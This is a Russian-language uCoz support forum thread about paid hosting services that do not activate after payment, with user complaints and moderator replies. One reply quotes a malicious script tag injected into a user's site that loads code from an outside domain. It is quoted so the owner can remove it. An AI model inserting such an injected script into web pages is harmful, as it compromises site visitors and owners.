Чат сообщества
   | |
| Модератор форума: Yuri_G |
| Сообщество uCoz » Основное » Платные услуги » Оплатили, а услуга не появилась (При этом оплата прошла и деньги были зачислены) |
| Оплатили, а услуга не появилась |
|
Типичная ситуация. Вы оплатили ту или иную услугу, в «оплаченные заказы» она значится, но сама услуга так и не подключена. Например места как было 400 Мб, так и остается 400, хотя вы оплатили +800, и оплата явно поступила. Скорее всего проблема в следующем: у вас действует оплаченная на меньше число услуга или премиум-пакет, включающий в себя эту услугу. Пока он не будет исчерпан, новая оплаченная услуга не вступит в силу. Если вы хотите что бы новый оплаченный заказ начал действовать немедленно, надо отменить старый заказа (в «Оплаченные заказы» кликнуть по номеру заказа) и отменить. В случае отмены, остаток неиспользованных за услугу средств поступят на лицевой счет, и вы сможете в дальнейшем их использовать. То есть деньги не пропадут.  Если вы собрались писать в эту тему о своих проблемах с оплатой, то обязательно указывайте ссылку на сайт, где произошли проблемы с оплатой! Так же подробно описывайте какую услугу пытались оплатить, каким способом. По возможности указывайте реквизиты платежей |
|
kirill_ma, адрес сайта укажите. и магазина нет в пакете услуг минимальный. какая именно услуга у вас недоступна?
|
|
Здравствуйте оплатил пакет оптимальный на год как получить шаблон бесплатно и домен/??
|
|
banyanoginsk, Для сайта, который привязан к Вашему домену, оплата прошла. Для получение шаблона обратитесь в службу поддержки из Пу сайта. Для получения домена в подарок ознакомьтесь с инструкцией: http://manual.ucoz.net/board/38-1-0-428
|
|
Вставляю полученный промокод на бесплатный дизайн сайта, пишет -"Такой код не найден". Что делать?
|
|
Добрый день! Оплатила пакет "магазин" на год, сразу после оплаты сайт стал недоступен. Когда заработает сайт?
адрес сайта vishi-dalm.ucoz.ru/ |
|
vishi-dalm, сайт доступен. Пакет услуг "Магазин" предоставляется в полном размере.
|
|
Цитата $;Vladimir$;1240679 vishi-dalm, сайт доступен. Пакет услуг "Магазин" предоставляется в полном размере. Добавлено (12 Янв 2015, 17:37:01) Цитата vishi-dalm (  )захожу с двух браузеров - скрин во вложении Прикрепления:
6712923.jpg
(61.2 Kb)
Сообщение отредактировал vishi-dalm - Понедельник, 12 Янв 2015, 17:16:51
|
|
|
|
Добрый день!
оплатили 57019583 Пакет услуг "Оптимальный" 12 мес. 76.70 у.е. Ожидает активации [?] сайт http://gdoy115.ru/ снимаю свой вопрос, - услуга активаровалась!! на UCOZ
http://gdoy115.ru/ Сообщение отредактировал MC_Tess - Пятница, 13 Фев 2015, 15:15:25
|
|
Доброго времени суток. как узнать какой сайт оплачен, или как отменить оплату. Была ОТПИСАНА от автоматической оплаты, сегодня снова автоматом сняли деньги, при чем с кредитной карточки, но на какой сайт зачислены средства я так и не выяснила, оплачены только эти сайты
Сайт по метро единственный у которого завтра заканчивается срок оплаты услуг. Платеж прошел аж в 19 часов вечера, но не на одном из сайтов оплаты я не вижу. Если это ошибка пожалуйста верните деньги! |
|
Roza2013, посмотрите на лицевом счете сайтов. средства могли придти на лицевой счет
сайт метро заражен. блок статистики пользователей за сегодня. надо удалить скрипт Код <script type="text/javascript" src="http://r1p.pp.ua/1.js"></script> если не найдете средств на лицевых счетах сайтов, то напишите в тех. поддержку. бесплатную (проблемы с оплатой) или на адрес unsubscribe@ucoz.ru и передайте им список сайтов |
|
Цитата webanet ( )Roza2013, посмотрите на лицевом счете сайтов. средства могли придти на лицевой счет сайт метро заражен. блок статистики пользователей за сегодня. надо удалить скрипт <script type="text/javascript" src="http://r1p.pp.ua/1.js"></script>1 этот скрипт делает ваш сайт фоновым дорвеем если не найдете средств на лицевых счетах сайтов, то напишите в тех. поддержку. бесплатную (проблемы с оплатой) или на адрес unsubscribe@ucoz.ru и передайте им список сайтов Деньги на счете сайта метро, уже 2 раза писала по указному адресу, что бы отказаться от совершения платежа! |
| |||